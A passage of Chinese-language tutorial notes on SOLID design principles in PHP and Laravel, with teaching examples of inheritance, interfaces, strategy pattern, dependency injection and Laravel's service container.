class CachedUserRepository extends UserRepository
{
    public function findById(int $id): User
    {
        // 先查 Cache
        if ($user = $this->cache->get($id)) {
            return $user;
        }

        // Cache miss，才走父類別邏輯
        $user = parent::findById($id);
        $this->cache->set($id, $user);

        return $user;
    }
}
/**
方法簽章沒變
回傳型別與例外行為沒變
呼叫端完全不需要知道「有沒有用快取」
*/

class SecureFileStorage extends FileStorage
{
    public function save(string $path, string $content): void
    {
        // 子類別增加了加密行為
        $encrypted = $this->encrypt($content);

        parent::save($path, $encrypted);
    }
}
/**
父類別承諾的是「能成功儲存檔案」
子類別只是多做了一步處理
呼叫端不需要額外條件或調整使用方式
*/

總結

• 繼承是「Is-A」的關係：不僅僅是名字像，行為也要像。如果子類別要把父類別的功能「關掉」或「報錯」，那就不該繼承。

• LSP 是 OCP 的基礎：如果你違反了 LSP，呼叫端就必須檢查子類別類型，這就違反了 OCP (Open/Closed Principle)。

• 多用組合/介面，少用繼承：當你發現繼承層級很難符合 LSP 時，通常代表你應該改用介面組合 (Composition) 的方式來設計。

關於ISP

什麼是介面隔離原則

Clients should not be forced to depend upon interfaces that they do not use.

與其設計一個無所不能的「胖介面」，不如把它拆分成多個特定的「瘦介面 (Thin Interface)」。

為什麼「胖介面」有壞味道

在後端開發中，我們經常會因為「貪圖方便」，把所有相關的方法都塞進同一個 Interface 裡。

全能的 UserInterface

interface UserInterface {
    public function login();
    public function register();
    public function sendEmail(); // 為了寄送歡迎信
    public function generateReport(); // 為了給後台管理員看數據
}

問題：

• 不必要的依賴：負責「登入」的模組，為什麼要知道怎麼「產生報表」？

• 實作的痛苦：如果你只想做一個簡單的「訪客註冊」功能，你被迫要去實作 generateReport()（可能只好留空或丟例外，這又違反了 LSP）。

• 頻繁的修改：如果後台報表邏輯變了，導致 generateReport 簽章改變，連「登入模組」都要跟著重新編譯或測試，因為它們綁在同一個介面上。

實戰場景：工人與機器人

我們來看看ISP經典的教科書範例

違反 ISP 的設計

interface Worker {
    public function work();
    public function eat();
}

class HumanWorker implements Worker {
    public function work() { /* 工作 */ }
    public function eat() { /* 吃便當 */ }
}

// 💥 問題來了：引進機器人
class RobotWorker implements Worker {
    public function work() { /* 工作 */ }

    public function eat() {
        // 機器人不用吃飯，但介面強迫我實作
        // 這裡通常會丟例外，或留空，這違反了 LSP
        throw new Exception("Robot does not eat!"); 
    }
}

遵守 ISP 的修正

interface Workable {
    public function work();
}

interface Feedable {
    public function eat();
}

// 人類：既能工作也能吃
class HumanWorker implements Workable, Feedable {
    public function work() { /*...*/ }
    public function eat() { /*...*/ }
}

// 機器人：只能工作
class RobotWorker implements Workable {
    public function work() { /*...*/ }
}

補充說明 - 易混淆概念

還記得上面我們用於解決LSP的手法嗎？絕大多數因「介面過大」導致違反 LSP，解決方案正是 ISP。

LSP 是我們想要的「結果」，而 ISP 常常是達成這個結果的「方式」。

雖然 ISP 是解決 LSP 常見問題的解藥，但 LSP 的範圍比 ISP 更廣。有些 違反LSP的情況 ，不是靠拆分介面就能解決的。

範例：遵守 ISP 但違反 LSP

假設我們有一個銀行帳戶類別

// 介面很乾淨，只有一個方法，完全符合 ISP
interface Account {
    /**
     * @return float 剩餘餘額 (保證大於等於 0)
     */
    public function withdraw(float $amount): float;
}

class NormalAccount implements Account {
    public function withdraw(float $amount): float {
        // 正常的提款邏輯
        return $this->balance - $amount;
    }
}

// 這個子類別也實作了同樣的介面，結構上沒問題
class VipAccount extends NormalAccount {
    public function withdraw(float $amount): float {
        // 💥 違反 LSP！
        // 父類別/介面承諾餘額 >= 0，但 VIP 可以透支
        // 這改變了行為的「後置條件 (Postcondition)」
        return $this->balance - $amount; // 可能回傳負數
    }
}

分析

1. ISP 沒問題：介面沒有多餘的方法，withdraw 是大家都需要的。

2. LSP 違反了：VipAccount 的行為破壞了 Account 的隱性契約（餘額不能為負）。呼叫端如果預期餘額永遠是正的，程式就會出錯。

結語

違反 ISP 高機率導致 違反 LSP

• 因為 ISP 造成了「胖介面」，強迫子類別去實作它做不到（或不該做）的方法。

• 結果：子類別被迫「造假」或「罷工」：

  1. 丟出例外 (throw NotImplementedException)

  2. 空實作 (方法裡什麼都不寫) 。

但違反 LSP 不一定違反 ISP

• 介面可能設計得非常完美、非常精簡（完全符合 ISP），但子類別的「實作邏輯」或是「繼承關係」本身就是錯的。

關於DIP

這就是SOLID的大魔王了，我都有點懷疑SOLID的順序是不是依照難易度排下來了。

DIP , Dependency inversion principle，依賴反轉原則。

什麼是依賴反轉原則？

DIP 有兩個繞口令的定義：

1. 高層模組不應該依賴低層模組，兩者都應該依賴於抽象。

2. 抽象不應該依賴於細節，細節應該依賴於抽象。

嗯…..是中文，但不懂…，還記得在L15有偷偷提到DIP嗎？那時候有提到：

DI 的核心原則是「依賴反轉 (DIP)」，「不要自己造工具，讓別人把工具傳進去。」

老闆與員工的關係

我們來看看一個生活化的比喻

沒有DIP：

老闆 想要做漢堡，老闆教員工A做漢堡，員工A離職，漢堡店陷入火海。

有DIP：

老闆 想要做漢堡，老闆製作了SOP，員工A針對SOP學會如何做漢堡，員工A離職，老闆找了員工B，員工B繼續快樂做漢堡。

為什麼叫 - 反轉

這裡我們就用L15的 OrderService 範例來進行說明，到底Inversion在哪裡

1. 正常控制流：OrderService 呼叫 GmailSender。 (上 -> 下)

2. 傳統依賴關係：OrderService use GmailSender。 (上 -> 下)

3. DIP 依賴關係：

   1. OrderService 依賴 MailerInterface。 (上 -> 介面)

   2. GmailSender依賴 MailerInterface。 (下 -> 介面)

   3. 依賴的箭頭方向，從「指向下方」變成了「指向介面」。

補充說明 - 易混淆概念

依賴注入與依賴反轉的關聯

依賴反轉是一個概念，而依賴注入是一種實作手法。

依賴反轉關心的是：類別之間的依賴與方向關係

依賴注入關心的是：物件如何被建立與賦值

有 DI 不代表有 DIP

class OrderService {
    // 這裡依賴的是「具體」的 GmailService 類別
    public function __construct(GmailService $mailer) {
        $this->mailer = $mailer;
    }
}

Q：是不是 DI？

A：是，因為 GmailService 是注入進去，沒有在裡面 new。

Q：是不是 DIP？

A：不是，因為 OrderService (高層) 依然死死地依賴著 GmailService (低層實作)。如果 Gmail 換掉，OrderService 還是要改程式碼。依賴關係沒有「反轉」，箭頭還是從上指到下。

有 DI，也有 DIP

class OrderService {
    // 這裡依賴的是「抽象」的 MailerInterface
    public function __construct(MailerInterface $mailer) {
        $this->mailer = $mailer;
    }
}

Q：是不是 DI？

A：是，因為 GmailService 是注入進去，沒有在裡面 new。

Q：是不是 DIP？

A：是，OrderService 現在只依賴介面。依賴的箭頭現在指向了 MailerInterface (抽象)，達成了依賴反轉。

核心觀念定義

如果說 SRP 是為了整理程式碼，那麼 OCP 就是為了保護程式碼。它是防止「新需求搞壞舊功能」的最強盾牌。

“Software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification.” — Bertrand Meyer

「軟體實體應該對『擴充』開放，但對『修改』封閉。」，

這句話聽起來很矛盾：要能擴充功能，卻不能修改程式碼？ 其實它的意思是：當需求改變時，你應該透過「增加新的程式碼 (Class)」來擴充功能，而不是去「修改原本已經運作良好的程式碼」。

• Open for Extension: 當有新需求（例如新的折扣活動），我們可以輕鬆加入。

• Closed for Modification: 加入新需求時，原本負責計算金額的核心邏輯不需要被改動（避免 Regression Bug）。

OCP 關心的不是「現在怎麼寫最乾淨」，而是「未來需求出現時，哪裡不該被打開來改」。

核心手段： 多型 (Polymorphism) 與 介面 (Interface)。

範例

還記得上一堂課 SRP 我們拆分出來的 PriceCalculator 嗎？ 假設行銷部今天提出了多種折扣方案：

1. 一般會員：無折扣。

2. VIP 會員：打 9 折。

3. 超級會員 (Super VIP)：打 8 折。

4. (未來可能還有聖誕節、週年慶...)

違反 OCP 的寫法

class PriceCalculator
{
    public function calculateTotal(array $orderData, string $memberType): float
    {
        $total = 0;
        foreach ($orderData['items'] as $item) {
            $total += $item['price'] * $item['qty'];
        }

        // 違反 OCP 的重災區
        if ($memberType === 'VIP') {
            $total = $total * 0.9;
        } elseif ($memberType === 'SuperVIP') {
            $total = $total * 0.8;
        } elseif ($memberType === 'Christmas') {
            // 每次新增規則，都要回來改這個檔案！
            $total = $total * 0.95 - 100; 
        }

        return $total;
    }
}

為什麼這樣不好？

每次行銷部想一個新花招，就要打開這個檔案修改。

1. 風險高：為了加「聖誕節折扣」，不小心手誤刪掉了 VIP 的邏輯，導致 VIP 用戶沒打折

2. 難測試：這個函式的邏輯分支 (Cyclomatic Complexity) 越來越多，測試案例要寫非常多個才能覆蓋。

重構實戰：策略模式 (Strategy Pattern)

要實踐 OCP，最經典的設計模式就是 策略模式 (Strategy Pattern)。我們把「如何打折」這件事抽象化。

步驟一：定義介面 (The Interface)

我們先定義一個標準：所有的折扣規則都必須遵守這個合約。

interface DiscountStrategy
{
    public function apply(float $total): float;
}

步驟二：實作具體策略 (Concrete Classes)

針對每一種會員或活動，建立一個獨立的 Class。

class NoDiscount implements DiscountStrategy
{
    public function apply(float $total): float 
    {
        return $total;
    }
}

class VipDiscount implements DiscountStrategy
{
    public function apply(float $total): float 
    {
        return $total * 0.9;
    }
}

class SuperVipDiscount implements DiscountStrategy
{
    public function apply(float $total): float 
    {
        return $total * 0.8;
    }
}

// 新增需求：聖誕節折扣 (完全不需要碰上面那些寫好的 Class)
class ChristmasDiscount implements DiscountStrategy
{
    public function apply(float $total): float
    {
        return $total * 0.95 - 100;
    }
}

重構 Calculator (Client)

現在 PriceCalculator 不需要知道具體的折扣邏輯，它只依賴 DiscountStrategy 介面。

class PriceCalculator
{
    public function calculateTotal(array $orderData, DiscountStrategy $discountStrategy): float
    {
        $baseTotal = 0;
        foreach ($orderData['items'] as $item) {
            $baseTotal += $item['price'] * $item['qty'];
        }

        // 這裡就是 OCP 的精隨：
        // Calculator 不用改任何一行程式碼，就能支援無數種新的折扣方式。
        return $discountStrategy->apply($baseTotal);
    }
}

如何決定使用哪個策略？

可能會想問：「那誰來決定要丟 VipDiscount 還是 ChristmasDiscount 進去？」

通常這會由一個 Factory (工廠) 或是 Service Provider 層來決定。

class DiscountFactory 
{
    public static function make(string $memberType): DiscountStrategy
    {
        return match($memberType) {
            'VIP' => new VipDiscount(),
            'SuperVIP' => new SuperVipDiscount(),
            'Christmas' => new ChristmasDiscount(),
            default => new NoDiscount(),
        };
    }
}

雖然 Factory 內部還是用了 match ，但我們把「判斷」隔離在 Factory 裡，保護了核心業務邏輯 (PriceCalculator) 不受汙染。OCP 並不是要求系統中「完全沒有條件判斷」，而是將「容易變動的判斷」集中並隔離。

個人開發經驗分享

以下是進階實務示範，目的是說明在大型系統中，如何進一步降低 Factory 本身的修改頻率。

工廠的一個小缺點：工廠本身還是需要知道「字串」與「類別」的對應關係（即 match 裡面的那些字串）。我們可以如何運用達到更極致的OCP？

在前陣子的專案中，我也剛好使用了策略模式來處理支援多種登入的方式。

我先使用Provider的概念，將實作於Interface的服務做綁定，並使用Resolver來應對動態選擇器的概念。

範例：

Provider

<?php

namespace App\Providers;

use App\Services\Login\MagicLoginService;
use Illuminate\Support\ServiceProvider;

use App\Services\Login\TraditionalLoginService;
use App\Services\Login\GoogleLoginService;
use App\Services\Login\AppleLoginService;

class LoginStrategyServiceProvider extends ServiceProvider
{
    public function register(): void
    {
        // 解析 "iterable LoginStrategyInterface"
        $this->app->bind('login_strategies', function ($app) {
            return [
                $app->make(TraditionalLoginService::class),
                $app->make(GoogleLoginService::class),
                $app->make(AppleLoginService::class),
                $app->make(MagicLoginService::class),
            ];
        });

        $this->app->singleton(\App\Services\Login\LoginStrategyResolver::class, function ($app) {
            return new \App\Services\Login\LoginStrategyResolver($app->make('login_strategies'));
        });
    }
}

Resolver

<?php
// app/Services/Login/LoginStrategyResolver.php

namespace App\Services\Login;

use App\Services\Contracts\LoginStrategyInterface;
use InvalidArgumentException;

readonly class LoginStrategyResolver
{
    /**
     * @param LoginStrategyInterface[] $strategies
     */
    public function __construct(
        private iterable $strategies
    ) {}

    public function resolve(string $provider): LoginStrategyInterface
    {
        foreach ($this->strategies as $strategy) {
            if ($strategy->supports($provider)) {
                return $strategy;
            }
        }

        throw new InvalidArgumentException("Unsupported login provider: {$provider}");
    }
}

Laravel 中的 OCP 應用

身為 Laravel 開發者，其實很多地方都有使用 OCP，只是可能沒意識到：

1. Middleware (中介層)： Laravel 的 Pipeline 設計就是 OCP。當你想要增加一個「檢查 IP」的功能，你不需要去改核心 Request 處理流程，只需要寫一個新的 Middleware 並掛載上去。

2. Drivers (驅動)： Cache, Session, Filesystem 都是 OCP。 如果你想把 Cache 從 Redis 換成 Memcached，或者甚至換成你自己寫的 Database 儲存，你不需要去改 Laravel 的核心程式碼，只要實作合約並設定 Config 即可。

結語

OCP 並不代表要預先為「所有可能的需求」設計抽象，而是當「變動方向已明確出現」時，再引入抽象保護核心。

核心觀念定義

關於單一職責原則

"A class should have one, and only one, reason to change." — Robert C. Martin (Uncle Bob)

「一個類別應該只有一個『改變的理由』。」

很多人誤以為 SRP 意思是「一個類別只做一件事 (Do one thing)」，這其實不完全精確。更準確的說法是：一個類別應該只負責「一類」業務邏輯，並且只對「一種」角色負責。

• 如果會計部門要求修改薪資計算邏輯，你不應該動到負責「資料庫存取」的程式碼。

• 如果 DBA 要求更換資料庫欄位，你不應該動到負責「生成報表」的程式碼。

SRP 的核心不是「功能數量」，而是「變更來源是否單一」。

關於高內聚

內聚是指模組內的元素（屬性、方法）彼此之間的關聯程度。

• 高內聚： 類別內的程式碼都是為了完成同一個目的而緊密協作的。

• 低內聚： 類別像是一個大雜燴，裡面放了毫不相關的功能（例如：一個類別同時負責算數學、寄 Email 和連線資料庫）。

SRP 與高內聚的關係

遵守 SRP 的類別，自然會傾向於高內聚；因為你把不相關的東西拆出去了，剩下的都是高度相關的。

反面範例 - 上帝物件

讓我們看一個後端常見的「壞味道」範例。這是一個負責處理訂單的 Service，但它管得太寬了。

class OrderService
{
    public function placeOrder($orderData)
    {
        // 1. 驗證邏輯 (責任：資料正確性)
        if (empty($orderData['items'])) {
            throw new Exception("Order must have items.");
        }

        // 2. 計算邏輯 (責任：業務規則)
        $total = 0;
        foreach ($orderData['items'] as $item) {
            $total += $item['price'] * $item['qty'];
        }
        if ($total > 1000) { // 滿千送百邏輯
            $total -= 100;
        }

        // 3. 資料庫邏輯
        $db = new Database();
        $db->query("INSERT INTO orders ...");

        // 4. 通知邏輯 
        $mailer = new Mailer();
        $mailer->send($orderData['email'], "Order Placed!");

        // 5. 格式化邏輯
        return json_encode(['status' => 'success', 'total' => $total]);
    }
}

為什麼這樣不好？

這個 OrderService 有 5 個改變的理由：

1. 行銷部門想改「滿千送百」規則 ➡️ 要改這個 Class。

2. IT 部門想換資料庫 ORM ➡️ 要改這個 Class。

3. 營運部門想改 Email 標題 ➡️ 要改這個 Class。

4. 前端要求 API 格式改變 ➡️ 要改這個 Class。

5. 驗證規則變嚴格 ➡️ 要改這個 Class。

這導致了「低內聚」與「高耦合」。改 A 壞 B 的風險極高。

這種寫法在功能「第一次完成時」通常最快，但在需求開始變動後，維護成本會呈指數成長。

重構實戰：職責分離

我們將上述的「大雜燴」拆解成數個專職的類別。

步驟一：拆分職責 (Extract Class)

1. Validator: 負責檢查資料。

2. PriceCalculator: 負責商業邏輯（計算金額、折扣）。

3. OrderRepository: 負責與資料庫溝通。

4. NotificationService: 負責寄信。

此時的 OrderService 仍然「有一個職責」：協調訂單建立的流程。 SRP 並不要求「沒有邏輯」，而是要求「邏輯的角色單一」。

步驟二：重組 OrderService

現在的 OrderService 不再親自做所有事情，而是變成一個 指揮官。

namespace App\Services;

use App\Validators\OrderValidator;
use App\Calculators\PriceCalculator;
use App\Repositories\OrderRepository;
use App\Services\NotificationService;

class OrderService
{

    public function __construct(
        private readonly OrderValidator $validator,
        private readonly PriceCalculator $calculator,
        private readonly OrderRepository $repository,
        private readonly NotificationService $notifier
    ) {

    }

    public function placeOrder(array $orderData)
    {
        // 1. 驗證
        $this->validator->validate($orderData);

        // 2. 計算
        $order = $this->calculator->calculateTotal($orderData);

        // 3. 儲存
        $savedOrder = $this->repository->save($order);

        // 4. 通知
        $this->notifier->sendOrderConfirmation($savedOrder);

        return $savedOrder;
    }
}

常見誤區：SRP 不等於「碎屍萬段」

在學習 SRP 時，最容易犯的錯誤就是 「拆分過細」 (Over-engineering)。

• 錯誤觀念： 每個 Function 只能寫一行程式碼，或者每個 Class 只能有一個 Function。

• 正確觀念： 內聚性是關鍵。如果兩個功能總是「一起被使用」且「一起被修改」，它們就應該在一起。

判斷標準： 問自己：「這個類別是否負責了不同的角色 (Actors) 的需求？」 如果一個類別同時包含了「會計需要的邏輯」和「DBA 需要的邏輯」，那就是違反 SRP。

什麼是「耦合」

想像買了一台桌機，但它的滑鼠是「焊死」在主機板上的。如果想換成電競滑鼠？抱歉，要把整台主機板拆換掉。如果滑鼠壞了？抱歉，整台電腦送修。

這就是 「高耦合」。

在程式碼中，最常見的高耦合就是 在類別內部直接 new 另一個物件。

範例

假設我們有一個 OrderService (訂單服務)，它在結帳後需要寄信通知用戶：

class GmailService {
    public function send($msg) {
        echo "使用 Gmail 寄出: $msg";
    }
}

class OrderService {
    private $mailer;

    public function __construct() {
        // ❌ 在這裡直接綁死了 GmailService
        // OrderService 現在對 GmailService 有「強依賴」
        $this->mailer = new GmailService();
    }

    public function processOrder() {
        // 處理訂單...
        $this->mailer->send("訂單成立");
    }
}

這個寫法的災難點：

1. 難以抽換：如果明天老闆說：「Gmail 太貴了，換成 AWS SES。」你需要打開所有用到 GmailService 的檔案，一行一行改。

2. 難以測試：當寫單元測試 (Unit Test) 時，想測試 OrderService 的邏輯，但程式碼一跑就會真的去連 Gmail。無法把 Gmail 替換成一個「假的、不會真的寄信」的測試物件。

救星登場：依賴注入 (Dependency Injection, DI)

DI 的核心原則是「依賴反轉 (DIP)」：

1. 高層模組不應該依賴於低層模組，它們應該依賴於抽象。

2. 抽象不應該依賴於細節，細節應該依賴於抽象。

依賴反轉原則是將高層模組的實現從低層模組中抽象出來，這樣可以使高層模組和低層模組解耦，從而提高系統的靈活性、可維護性和可擴展性。

聽起來很複雜，但核心觀念只有一句話： 「不要自己造工具，讓別人把工具傳進去。」

我們把 new 的動作拿掉，改成從 __construct (建構子) 接收物件。

範例

改良第一步：注入具體類別

class OrderService {
    private $mailer;

    // ✅ 改由外部「注入」進來
    public function __construct(GmailService $mailer) {
        $this->mailer = $mailer;
    }
}

這樣好了一點，至少 OrderService 不用自己 new 了。但在型別宣告上，我們還是寫死了 GmailService。

配合 Interface 注入

為了徹底解耦，我們需要引入上一篇提到的 Interface

依賴注入 是「手段」，而介面 與抽象 是讓這個手段能發揮最大效果的「前提」。

1. 定義介面 (制定規格)：PHP

    interface MailerInterface {
        public function send($msg);
    }
   

2. 實作介面 (廠商製造符合規格的產品)：PHP

    class GmailService implements MailerInterface { ... }
    class AwsSesService implements MailerInterface { ... }
   

3. 依賴注入 (只認規格，不認廠商)：PHP

    class OrderService {
        private $mailer;
   
        // ✅ 重點：這裡 Type Hint 寫的是 Interface，不是具體 Class
        public function __construct(MailerInterface $mailer) {
            $this->mailer = $mailer;
        }
   
        public function processOrder() {
            $this->mailer->send("訂單成立");
        }
    }
   

4. 現在，OrderService 不知道也不在乎它是用 Gmail 還是 AWS，它只知道傳進來的東西「有一個 send 方法」可以用。這就達成了 解耦。

   範例

    // 定義 UserRepository 介面
    interface UserRepository {
        public function saveUser($user);
        public function getUser($id);
    }
   
    // 實現 UserRepository 介面，使用 MySQL 存儲用戶資料
    class MysqlUserRepository implements UserRepository {
        public function saveUser($user) {
            // 將用戶資料存儲到 MySQL 資料庫中
            // ...
        }
        public function getUser($id) {
            // 從 MySQL 資料庫中獲取用戶資料
            // ...
        }
    }
   
    // UserController 類別依賴 UserRepository 介面
    class UserController {
        private $userRepository;
        //這裡依賴注入 透過UserRepository Interface所產生的repository
        public function __construct(UserRepository $userRepository) {
            $this->userRepository = $userRepository;
        }
        public function registerUser($userData) {
            // 驗證用戶資料
            // ...
            // 將用戶資料存儲到資料庫中
            $this->userRepository->saveUser($userData);
            // 發送註冊成功的通知
            // ...
        }
        public function getUser($id) {
            // 根據用戶 ID 獲取用戶資料
            $user = $this->userRepository->getUser($id);
            // 返回用戶資料
            return $user;
        }
    }
   
    // 建立 MySQLUserRepository 並注入到 UserController 中
    $userController = new UserController( new MySQLUserRepository() );
    $userController->getUser(123);
   

   在這個例子中，使用了依賴注入的手法(模式)來達到依賴反轉的核心概念。

   UserController 類別依賴 UserRepository 介面，而不是具體的資料存儲實現。

   這樣，當需要更改資料存儲方式時，只需要創建一個新的實現，並將其注入到 UserController 類別中即可。這符合依賴反轉原則。

   什麼是 IoC Container (控制反轉容器)

   可能會有疑惑：「原本在裡面 new 很方便，現在改成 DI，變成我在使用 OrderService 的時候，要自己手動 new 依賴傳進去，豈不是很麻煩？」

   手動注入的痛苦 (Dependency Hell)：

    // 如果 OrderService 依賴 Mailer，Mailer 又依賴 Logger...
    $logger = new FileLogger();
    $mailer = new GmailService($logger);
    $orderService = new OrderService($mailer); // 累死人
   

   這時候就需要 IoC Container (在 Laravel 中稱為 Service Container)。

   它就像是一個 「超級管家」 或 「自動工廠」。只需要設定一次配置，之後它會自動解決所有的依賴關係。

   IoC 控制反轉的意思：

   • 原本：控制權在 OrderService 手上，它主動去 new 依賴。

   • 現在：控制權交給了 Container，Container 決定要給 OrderService 什麼物件。

Laravel 中的實戰 (Service Provider)

在 Laravel，我們通常在 AppServiceProvider 告訴管家該怎麼做：

    // app/Providers/AppServiceProvider.php

    public function register() {
        // 告訴 Laravel：
        // 當有人要 MailerInterface 時，請給他 AwsSesService 的實例
        $this->app->bind(MailerInterface::class, AwsSesService::class);
    }

之後在 Controller 或其他地方使用時：

    class OrderController extends Controller {
        // Laravel 的魔法：自動依賴注入 (Auto-wiring)
        // 不需要自己 new，Laravel 會知道需要 OrderService
        // 然後自動去解析 OrderService 需要 MailerInterface
        // 然後自動 new 出 AwsSesService 塞進去
        public function store(OrderService $service) {
            $service->processOrder();
        }
    }

IOC + 建構子依賴注入範例

    class ChatService
    {
        public function __construct(
            private readonly UserRepository                $userRepository,
            private readonly MessageRepository                $messageRepository,
        )
        {
        }
    }

Q：沒有在 Controller 裡 new ChatService，也沒有手動傳那些 Repository 進去，那它們到底是怎麼出現的？

A：Laravel 的 Service Container (服務容器) 利用 PHP 的 Reflection (反射機制) 自動完成的。

Reflection

Laravel 著使用 PHP 內建的 Reflection API 去「偷看」程式碼結構。

1. 檢查 Controller： Laravel 檢查 sendMessage 方法，發現參數裡有一個型別提示 (Type Hint) 寫著 ChatService。 Laravel 心想：「好，這個工程師需要 ChatService，我得幫他生一個出來。」

2. 檢查 Service (遞迴解析)： Laravel 準備去 new ChatService，但在這之前，它會先去偷看 ChatService 的 __construct (建構子)。PHP

   它看到了：

    public function __construct(
            private readonly UserRepository                $userRepository,
            private readonly MessageRepository                $messageRepository,
    )
    {
    }
   

   Laravel 驚覺：「哇，要製造 ChatService 之前，我得先製造 UserRepository 和 MessageRepository才行！」

3. 檢查 Repository (繼續遞迴)： Laravel 接著去看 UserRepository 的 __construct。

   • 如果 UserRepository 沒有依賴其他東西，Laravel 就直接 new UserRepository()。

   • 如果它還有依賴，Laravel 就繼續往下挖（這就是遞迴）。

組裝與回傳

當 Laravel 把最底層的零件都做出來後，它就開始一層一層往回組裝：

1. 先把 UserRepository, MessageRepository... 全部 new 好。

2. 把這些 Repository 塞進 new ChatService(這裡是剛做好的 Repositories)。

3. 把做好的 $chatService 物件，塞進 sendMessage($request, $chatService)。

4. 最後，執行 Controller 程式碼。

這整個過程發生在 毫秒之間，而且完全自動化。這就是為什麼我們說 Laravel 的 Container 是一個強大的 「自動依賴解析器 (Automatic Dependency Resolution)」。

什麼時候「自動注入」會失效

如果這樣寫：

PHP

    class ChatService {
        // 這裡依賴的是介面，不是具體類別
        public function __construct(UserRepositoryInterface $repo) { ... }
    }

這時 Laravel 的 Reflection 會卡住：「呃... UserRepositoryInterface 只是一個合約，它不是一個可以 new 的類別啊！我到底要給他 SqlUserRepository 還是 MongoUserRepository？」

這時候，就必須在 AppServiceProvider 裡手動告訴 Laravel：

    // app/Providers/AppServiceProvider.php
    public function register()
    {
        // 告訴 Laravel：只要有人討要在 UserRepositoryInterface
        // 請給他 UserRepository (具體的實作)
        $this->app->bind(UserRepositoryInterface::class, UserRepository::class);
    }

只要加了這行設定，自動注入的魔法鏈就能繼續運作下去了。

心中一定有過這個疑問：「為什麼要寫一個『空的』函式放在那邊？直接把程式碼寫在 Class 裡面不好嗎？」

這堂課我們要來解開這個誤會。這不是為了增加程式碼行數，而是為了 「多型 (Polymorphism)」 與 「抽換 (Swap)」 的彈性。

繼承的盲點：為什麼不能只用 extends

假設我們在做一個「物流系統」，有「黑貓 (BlackCat)」和「新竹物流 (HCT)」。 直覺寫法通常是這樣：

class BlackCat {
    public function ship($parcel) {
        return "黑貓已運送包裹: " . $parcel;
    }
}

class HCT {
    public function ship($parcel) {
        return "新竹物流已運送包裹: " . $parcel;
    }
}

Service中可能就長這樣

// 如果今天是黑貓
$logistic = new BlackCat();
$logistic->ship('iPhone 15');

// 如果明天老闆說要換成新竹物流
// 你得把所有用到 BlackCat 的地方，全部改成 HCT
// 萬一 HCT 的方法不叫 ship() 叫做 send() 怎麼辦？這就是災難。

這時候，我們需要「規範」。

介面 ：定義「行為的合約」

Interface 像是一個 USB 插孔的規格。 電腦不在乎插進來的是滑鼠、鍵盤還是隨身碟，它只在乎「你插得進去」且「你可以運作」。

• Interface 只管 「你能做什麼」，不管你 「你是誰」。

• Interface是一種型別契約，他只包含方法的簽名，沒有實現邏輯。

• 一個類別可以實現多個Interface，但必須實現所有Interface中定義的方法

• Interface會強制實現某些方式，確保類別具有特定的行為，使用Interface可以更加清晰的定義類別的職責

注：方法的簽名：指方法的 名稱、參數列表，以及（若有）回傳型別，不包含具體實作邏輯。

實作 Interface

我們定義一個物流介面，規定大家都必須有一個 ship 方法：

interface LogisticInterface {
    // 介面裡的方法不能有內容，只能定義名稱跟參數
    public function ship($parcel);
}

接著讓兩家物流公司都 遵守implements：

class BlackCat implements LogisticInterface {
    public function ship($parcel) {
        // 實作黑貓的邏輯
        return "黑貓運送: " . $parcel;
    }
}

class HCT implements LogisticInterface {
    public function ship($parcel) {
        // 實作新竹物流的邏輯
        return "新竹物流運送: " . $parcel;
    }
}

function processOrder(LogisticInterface $logistic, $parcel) {
    // 我不在乎 $logistic 是黑貓還是新竹物流
    // 我只知道它一定有 ship() 方法，因為它簽了合約 (Interface)
    $logistic->ship($parcel);
}

這就是 多型 (Polymorphism) 的威力。

抽象類別 Abstract Class：提取「共同的邏輯」

那 Abstract Class 又是什麼？

如果 Interface 是為了規範「外部行為」，那 Abstract Class 就是為了 「減少內部重複的程式碼」。

• 抽象類別無法被實例化，只能用於繼承

• 抽象類別可以包含一般function跟抽象function

• 抽象方法不包含具體邏輯，只包含方法的簽名，如果抽象類別宣告了抽象方法，則子類別必須實作出該方法（或一樣使用方法簽名）

假設黑貓和新竹物流，雖然運送方式不同，但 「計算運費」 的公式是一樣的（例如都是 重量 * 10）。我們不想在兩個 Class 裡寫兩遍一樣的公式。

實作 Abstract Class

Abstract Class 就像是一個 「未完成的藍圖」。它不能被直接 new 出來，只能被繼承。

abstract class BaseLogistic implements LogisticInterface {
    // 1. 具體的方法：大家共用的邏輯寫在這裡
    public function calculateFee($weight) {
        return $weight * 10;
    }

    // 2. 抽象的方法：強迫子類別一定要去實作 (跟 Interface 很像)
    // 因為每家送貨方式不同，這裡先空著留給子類別去寫
    abstract public function ship($parcel);
}

現在，我們的物流公司可以這樣寫：

class BlackCat extends BaseLogistic {
    public function ship($parcel) {
        return "黑貓運送";
    }
}

BlackCat 現在自動擁有了 calculateFee 的能力，同時被迫實作了 ship 的行為。

實戰中的選擇

在「系統架構設計」與「依賴反轉（DIP）」層面，Interface 的重要性通常高於 Abstract Class。

為什麼？因為我們通常更在乎「這個物件能不能被抽換」，而不是「繼承層級」。

• 優先考慮 Interface：為了未來的擴充性 (例如 Lesson 15 要講的依賴注入)。

• 輔助使用 Abstract：當你發現多個實作類別有大量重複程式碼時，再用 Abstract Class 來重構 (Refactor)。

為什麼不要濫用 Abstract Class

Abstract Class 看起來很美好：

• 可以寫共用邏輯

• 可以少寫重複程式碼

• 子類別看起來「很整齊」

但在真實專案中，濫用 Abstract Class 往往是系統開始變硬、變脆的起點。

下面是三個最常見、也最容易被忽略的風險。

抽象類別會「過早凍結設計」

當你建立一個 Abstract Class 時，你其實是在對未來下這樣的假設：

「這些子類別永遠都會長得差不多。」

這個假設在一開始幾乎一定是錯的。

問題場景

abstract class BaseLogistic {
    public function calculateFee($weight) {
        return $weight * 10;
    }

    abstract public function ship($parcel);
}

一開始很合理，但半年後需求來了：

• DHL：計費方式不同（體積重）

• Uber Eats：即時動態加價

• 自取：沒有運費

你會開始在 BaseLogistic 裡面看到：

if ($this instanceof DHL) { ... }
if ($this instanceof UberEats) { ... }

這是一個明確的設計退化訊號。

Abstract Class 讓我們在還不了解變化之前，就把邏輯定死了。

單一繼承會快速限制擴充性（PHP 的現實）

在 PHP 中：

• Class 只能繼承一個 Abstract Class

• 但可以實作 多個 Interface

這代表什麼？

如果用了 Abstract Class

class BlackCat extends BaseLogistic

就失去了：

class BlackCat extends BaseLogistic, Trackable, Refundable // 不能

只能選擇：

• 再塞更多功能進 BaseLogistic

• 或開始用 Trait 補洞（通常會更亂）

相對地，Interface 不會有這個問題

class BlackCat implements LogisticInterface, TrackableInterface, RefundableInterface

IInterface 通常搭配「組合（Composition）」使用，而 Abstract Class 屬於「繼承（Inheritance）」模型。

而現代設計更偏好前者。

